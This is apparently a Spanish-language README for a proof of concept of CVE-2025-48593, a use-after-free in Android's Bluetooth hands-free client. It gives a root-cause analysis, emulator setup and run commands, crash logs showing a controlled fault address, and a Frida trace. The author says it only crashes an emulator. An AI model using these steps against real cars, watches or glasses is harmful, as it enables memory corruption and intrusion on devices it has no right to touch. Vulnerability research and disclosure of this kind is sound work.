
Proof-of-concept for CVE-2025-48593
Prueba de concepto para CVE-2025-48593 basada en el análisis del parche.
No deberías preocuparte por esto. Por lo que puedo decir, los teléfonos NO son vulnerables a CVE-2025-48593. El problema solo afecta a dispositivos Android que admiten actuar como auriculares / altavoces Bluetooth, como algunos relojes inteligentes, gafas inteligentes y automóviles. Además, un atacante tiene que lograr que la víctima se empareje con el atacante antes de poder acceder al servicio de auriculares. Mientras no aceptes la solicitud de emparejamiento en tu smartwatch/gafas/coche, no debería pasar nada.
Esta prueba de concepto no sirve para nada: solo hace fallar el emulador de Android Automotive con un fault addr 0x4141414141414141.
Puedes leer mi análisis en mi blog.
Al ejecutarlo contra el emulador de Android Automotive 14 en Android Studio, obtengo:```
Build fingerprint: 'google/sdk_gcar_arm64/emulator_car64_arm64:14/UAA1.250512.001/13479943:userdebug/dev-keys' Revision: '0' ABI: 'arm64' Timestamp: 2025-12-01 17:28:17.644347763-0500 Process uptime: 0s Cmdline: com.google.android.bluetooth pid: 6386, tid: 6424, name: bt_main_thread >>> com.google.android.bluetooth <<< uid: 1001002 tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE) pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY) signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x4141414141414141 x0 4141414141414141 x1 b4000073106a14a0 x2 0000000000000103 x3 414141414141413e x4 b4000073106a15a3 x5 4141414141414241 x6 0000000000000100 x7 000000000000010f x8 0000000000000000 x9 4141414141414141 x10 0000000000000002 x11 00000070c20c8558 x12 0000000000000018 x13 00000000ffffffbf x14 0000000000000003 x15 0000000000000001 x16 00000070c253f470 x17 00000073f6ee3a40 x18 00000070bb2c6060 x19 00000070c258c0c0 x20 b4000073106a14a3 x21 0000000000000100 x22 00000070bc384000 x23 000000004141413e x24 00000070bc384000 x25 00000070bc384000 x26 00000070bc383ff8 x27 00000000000fc000 x28 00000000000fe000 x29 00000070bc383470 lr 00000070c20c3d58 sp 00000070bc383460 pc 00000073f6ee3b38 pst 00000000a0001000
15 total frames backtrace: #00 pc 000000000005fb38 /apex/com.android.runtime/lib64/bionic/libc.so (__memcpy_aarch64_simd+248) (BuildId: 8bd98d931a32d13659267d7d53286e73) #01 pc 00000000006aad54 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_copy_raw_data(tCONN_CB*, bool)+344) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #02 pc 00000000006aa0c0 /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_service_search_attr_rsp(tCONN_CB*, unsigned char*, unsigned char*)+624) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #03 pc 00000000006a9760 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_data_ind(unsigned short, BT_HDR*)+212) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #04 pc 00000000007387b4 /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_execute(t_l2c_ccb*, tL2CEVT, void*)+9412) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #05 pc 00000000009d6ce8 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*)+196) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #06 pc 00000000009d6260 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::MessageLoop::RunTask(base::PendingTask*)+352) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #07 pc 00000000009d6574 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::MessageLoop::DoWork()+452) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #08 pc 00000000009d8964 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::MessagePumpDefault::Run(base::MessagePump::Delegate*)+100) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #09 pc 00000000009e4a34 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::RunLoop::Run()+64) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #10 pc 000000000069aaa4 /apex/com.android.btservices/lib64/libbluetooth_jni.so (bluetooth::common::MessageLoopThread::Run(std::__1::promise)+336) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #11 pc 000000000069a584 /apex/com.android.btservices/lib64/libbluetooth_jni.so (bluetooth::common::MessageLoopThread::RunThread(bluetooth::common::MessageLoopThread*, std::__1::promise)+48) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #12 pc 000000000069b090 /apex/com.android.btservices/lib64/libbluetooth_jni.so (void* std::__1::__thread_proxy<std::__1::tuple<std::__1::unique_ptr<std::__1::__thread_struct, std::__1::default_deletestd::__1::__thread_struct >, void ()(bluetooth::common::MessageLoopThread, std::__1::promise), bluetooth::common::MessageLoopThread*, std::__1::promise > >(void*)+84) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #13 pc 00000000000cb6a8 /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+208) (BuildId: 8bd98d931a32d13659267d7d53286e73) #14 pc 000000000006821c /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 8bd98d931a32d13659267d7d53286e73)
## Más resultados
Estos son de mi [prueba de concepto original](https://github.com/zhuowei/blueshrimp/tree/first-poc) antes de que descubriera cómo reasignar el búfer:
Después de forzar a un emulador de Android 15 a actuar como altavoz Bluetooth, ejecutar este código produce una desreferencia nula:```
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'google/sdk_gphone64_arm64/emu64a:15/AE3A.240806.043/12960925:userdebug/dev-keys'
Revision: '0'
ABI: 'arm64'
Timestamp: 2025-11-13 22:03:35.264596895-0500
Process uptime: 0s
Cmdline: com.google.android.bluetooth
pid: 5549, tid: 5589, name: bt_main_thread >>> com.google.android.bluetooth <<<
uid: 1002
tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY)
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x2a20010000000000
x0 00000074d49ccf5a x1 b4000076cb2f4f80 x2 0000000000000035 x3 000000752fd5403c
x4 b4000075cb32c6f9 x5 b40000764b322462 x6 0000000000000035 x7 b4000076db2ef159
x8 0007ac63ecbcb3da x9 0000000000000002 x10 b40000764b322460 x11 00000074d476c3a4
x12 000000000000000c x13 000000007fffffff x14 0000000000000001 x15 000006a9e9459ce0
x16 00000074d4974360 x17 00000077fcd25700 x18 00000074d0aa8060 x19 00000074d49ccf5a
x20 00000074d3e9d98b x21 2a20010000000000 x22 00000074d3e28d23 x23 00000074d414ae8c
x24 000000752fd54a80 x25 0000000000003002 x26 b4000076cb2f4f80 x27 00000074d3e9d92c
x28 000000752fd541f0 x29 000000752fd53fd0
lr 00000074d476702c sp 000000752fd53940 pc 00000074d476ab88 pst 0000000060001000
14 total frames
backtrace:
#00 pc 0000000000969b88 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdpu_log_attribute_metrics(RawAddress const&, tSDP_DISCOVERY_DB*)+284) (BuildId: 6f08819253185bc44c9fec07ed93c598)
#01 pc 0000000000966028 /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_service_search_attr_rsp(tCONN_CB*, unsigned char*, unsigned char*)+1104) (BuildId: 6f08819253185bc44c9fec07ed93c598)
#02 pc 0000000000965884 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_data_ind(unsigned short, BT_HDR*)+296) (BuildId: 6f08819253185bc44c9fec07ed93c598)
#03 pc 00000000009f45cc /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_execute(t_l2c_ccb*, tL2CEVT, void*)+12968) (BuildId: 6f08819253185bc44c9fec07ed93c598)
Con malloc_debug configurado para rellenar al liberar, obtengo:```
Build fingerprint: 'google/sdk_gphone64_arm64/emu64a:15/AE3A.240806.043/12960925:userdebug/dev-keys' Revision: '0' ABI: 'arm64' Timestamp: 2025-11-13 22:44:39.509419570-0500 Process uptime: 0s Cmdline: com.google.android.bluetooth pid: 7391, tid: 7422, name: bt_main_thread >>> com.google.android.bluetooth <<< uid: 1002 tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE) pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY) signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xb4000076954f3000 x0 b4000076954f3002 x1 b4000076954e48a8 x2 000000000000ebeb x3 000000764031dd58 x4 0000000000000004 x5 68746f6f7465756c x6 68746f6f7465756c x7 b4000076f54d5ad9 x8 b4000076954f2fff x9 000000000000d78b x10 0000000000000009 x11 0000000000000009 x12 000000000000d78b x13 0000000000000008 x14 0000000000000004 x15 000006b7ae6ad944 x16 0000000000000001 x17 000000794c270af0 x18 0000007578ca8070 x19 000000757e7cff58 x20 0000000000000000 x21 0000000000000000 x22 b4000076954c9950 x23 0000000000000043 x24 000000764031ea80 x25 b4000076954c9965 x26 b4000076954c9968 x27 000000764031ea80 x28 000000764031df70 x29 000000764031ddb0 lr 000000757e569d30 sp 000000764031dd50 pc 000000757e56ec08 pst 0000000080001000
17 total frames backtrace: #00 pc 000000000096ac08 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdpu_build_attrib_seq(unsigned char*, unsigned short*, unsigned short)+112) (BuildId: 6f08819253185bc44c9fec07ed93c598) #01 pc 0000000000965d2c /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_service_search_attr_rsp(tCONN_CB*, unsigned char*, unsigned char*)+340) (BuildId: 6f08819253185bc44c9fec07ed93c598) #02 pc 0000000000965494 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_config_cfm(unsigned short, unsigned short, tL2CAP_CFG_INFO*)+248) (BuildId: 6f08819253185bc44c9fec07ed93c598) #03 pc 00000000009f7364 /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_indicate_connection_open(t_l2c_ccb*)+220) (BuildId: 6f08819253185bc44c9fec07ed93c598) #04 pc 00000000009f346c /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_execute(t_l2c_ccb*, tL2CEVT, void*)+8520) (BuildId: 6f08819253185bc44c9fec07ed93c598) #05 pc 00000000009fe380 /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_l2cap_cmd(t_l2c_linkcb*, unsigned char*, unsigned short)+376) (BuildId: 6f08819253185bc44c9fec07ed93c598) #06 pc 00000000009fdf64 /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_rcv_acl_data(BT_HDR*)+624) (BuildId: 6f08819253185bc44c9fec07ed93c598)
No he probado esto en un dispositivo físico.
## Mi entendimiento de lo que está sucediendo
Los auriculares Bluetooth usan el [Handsfree Profile](https://github.com/zhuowei/blueshrimp/blob/HEAD/%3Chttps:/en.wikipedia.org/wiki/List_of_Bluetooth_profiles#Hands-Free_Profile_(HFP)>).
El perfil Handsfree es especial: a diferencia de la mayoría de los servicios Bluetooth, donde un lado actúa como cliente y el otro como servidor, tanto el auricular como el dispositivo que se conecta (p. ej., un teléfono) necesitan ejecutar un servidor Bluetooth.
Después de que el teléfono se conecta al servicio Handsfree del auricular (0x111e), el auricular se conecta de vuelta al servicio Handsfree Audio Gateway del teléfono (0x111f).
Cuando un teléfono abre una conexión RFCOMM al servicio Handsfree del auricular, en el código hf_client del auricular:
- [bta_hf_client_allocate_handle](https://cs.android.com/android/platform/superproject/main/+/main:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=556;drc=875c5971d0201d3c67cc166ad9ab8b2b4a7cab7f) asigna un handle `tBTA_HF_CLIENT_CB` del pool
- [bta_hf_client_do_disc](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=382;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) asigna un `tSDP_DISCOVERY_DB`, lo almacena en `client_cb->p_disc_db` e inicia el descubrimiento SDP
- [SDP_ServiceSearchAttributeRequest2](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_api.cc;l=205;drc=138659ad3ff2961010b9cacd36fceb36ba73dcce) almacena el `tSDP_DISCOVERY_DB` en el `p_ccb->p_db` de un `tCONN_CB` y luego se conecta al servicio SDP del teléfono
- ahora el `tSDP_DISCOVERY_DB` está almacenado tanto en el handle `client_cb->p_disc_db` del hf_client como en el `p_ccb->p_db` de la capa SDP
Cuando se cierra la conexión RFCOMM del teléfono:
- [bta_hf_client_mgmt_cback](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_rfc.cc;l=143;drc=86d90eee9dd37eccdd19449b9d72b883df060f9b) emite un `BTA_HF_CLIENT_RFC_CLOSE_EVT`
- [la tabla de estados bta_hf_client_st_opening](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=157;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) llama al manejador de [bta_hf_client_rfc_close](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_act.cc;l=278;drc=031a4c3b0a00602b7bbd08ffd8b4d02fdccb5989) y restablece la máquina de estados a `BTA_HF_CLIENT_INIT_ST`
- [bta_hf_client_sm_execute](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=728;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) detecta la transición de estado y desasigna el handle `tBTA_HF_CLIENT_CB` de vuelta al pool
- Sin embargo, antes del parche, la conexión SDP no se cancela y sigue esperando una respuesta
- En este momento, hay un `tBTA_HF_CLIENT_CB` devuelto al pool de no asignados, con `client_cb->p_disc_db` todavía establecido y un descubrimiento SDP aún activo
Cuando el teléfono responde al descubrimiento SDP con un error:
- [bta_hf_client_sdp_cback](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=85;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) emite un `BTA_HF_CLIENT_DISC_INT_RES_EVT`
- [la tabla de estados bta_hf_client_st_opening](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=164;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) llama al manejador de [bta_hf_client_disc_int_res](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_act.cc;l=319;drc=031a4c3b0a00602b7bbd08ffd8b4d02fdccb5989)
- [bta_hf_client_free_db](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=413;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) libera `client_cb->p_disc_db`
- así que ahora el `tSDP_DISCOVERY_DB` se libera, `client_cb->p_disc_db` es null y la capa SDP ya no tiene un `p_ccb->p_db` hacia la DB de descubrimiento.
Sin embargo, si el teléfono abre RFCOMM de nuevo antes de que el primer descubrimiento SDP devuelva una respuesta:
- reasignamos un handle (probablemente el mismo que se desasignó al pool anteriormente) y volvemos a llamar al descubrimiento
- el `client_cb->p_disc_db` ahora apunta a un nuevo `tSDP_DISCOVERY_DB`, y la capa SDP contiene dos `tSDP_DISCOVERY_DB`s: un `p_ccb->p_db` contiene la DB antigua de la primera conexión y otro `p_ccb->p_db` contiene la DB nueva de la segunda conexión
Ahora, el teléfono responde al primer descubrimiento SDP con un error:
- la capa SDP cierra el `p_ccb` de la primera conexión
- [bta_hf_client_free_db](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=413;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) libera `client_cb->p_disc_db`, que es la DB de la _segunda_ conexión
- ahora el `client_cb->p_disc_db` del hf_client se libera y se establece a null, y el `p_ccb` de la SDP para la primera conexión ha desaparecido
- pero el `p_ccb` de la segunda conexión sigue activo, por lo que `p_ccb->p_db` de la segunda solicitud de descubrimiento SDP apunta a un `tSDP_DISCOVERY_DB` liberado
Finalmente, el teléfono responde al segundo descubrimiento SDP con una respuesta real:
- la capa SDP procesa los datos entrantes en [sdp_data_ind](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_main.cc;l=234;drc=0e45ce1dc53e611da84344e7c5a11108ad7dba46) y los despacha a sdp_disc_server_rsp
- [process_service_search_attr_rsp](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_discovery.cc;l=683;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) comienza a leer desde `p_ccb->p_db`
- dado que `p_db` ya fue liberado por `bta_hf_client_free_db` debido a la respuesta de error del primer descubrimiento SDP, la segunda respuesta SDP provoca un use-after-free.
Lo que no entiendo:
- Bionic es compatible con [malloc_debug](https://android.googlesource.com/platform/bionic/+/master/libc/malloc_debug/README.md): establecer `"LIBC_DEBUG_MALLOC_OPTIONS=fill\ verbose"` rellena la memoria con `0xef` al liberar. ¿Por qué no veo `0xef`s en el crash log?
## Ejecución
Crea un emulador de Android Studio con Android Automotive 14, API 34-ext9, "Android Automotive with Google APIs arm64-v8a System Image", versión 5 - esto incluye Headset Client habilitado de serie.
Alternativamente, para que el emulador de Android no Automotive emule un auricular Bluetooth:
Inicia un emulador de Android local para Android 15 en Android Studio. (Estoy usando el emulador de Android para Android 15, "Google APIs ARM 64 v8a System Image", versión 9)```
adb root
adb shell
setprop bluetooth.profile.hfp.hf.enabled true
# optionally:
# setprop wrap.com.google.android.bluetooth "LIBC_DEBUG_MALLOC_OPTIONS=fill\ verbose"
am force-stop com.google.android.bluetooth
Entonces``` python3 -m venv env . env/bin/activate pip install bumble bumble-pair --mode classic device.json android-netsim DA:4C:10:DE:17:00
python3 blueshrimp.py
python3 blueshrimp.py
Si el emulador es vulnerable (p. ej., Android 15 API 35 "Google APIs ARM 64 v8a System Image" revisión 9), obtendrás:```
(env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
I0000 00:00:1763097284.153459 24000650 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
I0000 00:00:1763097284.158812 24000650 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
<bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x1025ae3c0>>
open dlc!!!!!!!
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
service_search_pattern: SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
maximum_attribute_byte_count: 1008
attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
continuation_state: 00
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
service_search_pattern: SEQUENCE([UUID(00001106-0000-1000-3500-1C0000110600)])
maximum_attribute_byte_count: 1008
attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
continuation_state: 00
(env) zhuowei-laptop:blueshrimp zhuowei$
Y verás un fallo en logcat.
O, con la opción LIBC_DEBUG_MALLOC_OPTIONS:```
(env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
I0000 00:00:1763097125.539691 23998204 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
I0000 00:00:1763097125.546204 23998204 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
<bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x104bc23c0>>
open dlc!!!!!!!
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
service_search_pattern: SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
maximum_attribute_byte_count: 1008
attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
continuation_state: 00
Traceback (most recent call last):
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 91, in
asyncio.run(main())
~~~~~~~~~~~^^^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 195, in run
return runner.run(main)
~~~~~~~~~~^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 118, in run
return self._loop.run_until_complete(task)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete
return future.result()
~~~~~~~~~~~~~^^
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 87, in main
requests[1])
~~~~~~~~^^^
IndexError: list index out of range
(env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
I0000 00:00:1763097146.578122 23998494 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
I0000 00:00:1763097146.584279 23998494 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
<bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x104f4e3c0>>
open dlc!!!!!!!
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
service_search_pattern: SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
maximum_attribute_byte_count: 1008
attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
continuation_state: 00
Traceback (most recent call last):
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 91, in
asyncio.run(main())
~~~~~~~~~~~^^^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 195, in run
return runner.run(main)
~~~~~~~~~~^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 118, in run
return self._loop.run_until_complete(task)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete
return future.result()
~~~~~~~~~~~~~^^
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 76, in main
await channel.disconnect()
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/rfcomm.py", line 645, in disconnect
await self.disconnection_result
asyncio.exceptions.CancelledError
Si el emulador no es vulnerable (p. ej., Android 16 API 36.1 "Google APIs ARM 64 v8a System Image" revision 3)```
(env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
I0000 00:00:1763092971.476083 23945806 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
I0000 00:00:1763092971.486513 23945806 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
<bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x10697e3c0>>
open dlc!!!!!!!
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
service_search_pattern: SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
maximum_attribute_byte_count: 1008
attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
continuation_state: 00
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
service_search_pattern: SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
maximum_attribute_byte_count: 1008
attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
continuation_state: 00
Traceback (most recent call last):
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 91, in <module>
asyncio.run(main())
~~~~~~~~~~~^^^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 195, in run
return runner.run(main)
~~~~~~~~~~^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 118, in run
return self._loop.run_until_complete(task)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete
return future.result()
~~~~~~~~~~~~~^^
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 86, in main
device.sdp_server.orig_on_sdp_service_search_attribute_request(
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^
requests[1])
^^^^^^^^^^^^
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/sdp.py", line 1330, in on_sdp_service_search_attribute_request
self.send_response(
~~~~~~~~~~~~~~~~~~^
SDP_ServiceSearchAttributeResponse(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
...<4 lines>...
)
^
)
^
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/sdp.py", line 1063, in send_response
self.channel.send_pdu(response)
~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/l2cap.py", line 772, in send_pdu
raise InvalidStateError('channel not open')
bumble.core.InvalidStateError: channel not open
(env) zhuowei-laptop:blueshrimp zhuowei$
Estoy usando un TP-Link UB400 v2.6 (RTL8761BU) con Bumble en macOS.
Originalmente probé el adaptador ASUS USB-BT500 v2 (RTL8761CU) y descubrí que no funciona con Bumble en macOS. Cuando Bumble intenta establecer una conexión L2CAP, el dispositivo de destino recibe el paquete de solicitud de conexión y envía una respuesta, pero el USB-BT500 v2 no recibe la respuesta en absoluto y la conexión falla.
(El ASUS USB-BT500 v2 funciona bien en Linux con Bumble.)
Este repositorio también contiene un script de Frida dumpbt.js para rastrear el proceso de Bluetooth en el emulador:```
sym_bta_hf_client_allocate_handle called
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0
bta_hf_client_do_disc called
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f73a0
sdpu_find_ccb_by_cid called 0x48
sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0
sdpu_find_ccb_by_cid called 0x48
sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0
sdpu_find_ccb_by_cid called 0x48
sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f73a0
sym_bta_hf_client_allocate_handle called
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0
bta_hf_client_do_disc called
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f6190
sdpu_find_ccb_by_cid called 0x48
sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0
sdpu_find_ccb_by_cid called 0x48
sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f6190
bta_hf_client_free_db called
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f6190
sdpu_find_ccb_by_cid called 0x49
